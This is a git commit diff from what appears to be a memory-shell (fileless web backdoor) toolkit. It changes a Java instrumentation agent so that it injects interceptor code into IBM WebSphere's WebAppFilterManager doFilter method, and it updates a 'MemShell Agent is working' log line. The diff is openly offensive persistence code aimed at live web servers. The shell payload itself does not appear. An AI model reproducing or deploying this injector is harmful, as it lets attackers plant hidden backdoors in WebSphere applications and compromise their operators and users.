fix: was7 agent shell fail sometime

This commit is contained in:
ReaJason
2025-01-07 10:02:51 +08:00
parent 72b4effa35
commit ff40e5c3fb
2 changed files with 15 additions and 14 deletions
@@ -33,7 +33,7 @@ public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transform
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invokeFilters")));
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -58,6 +58,6 @@ public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transform
.type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager"))
.transform(new WebSphereFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters");
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
}
}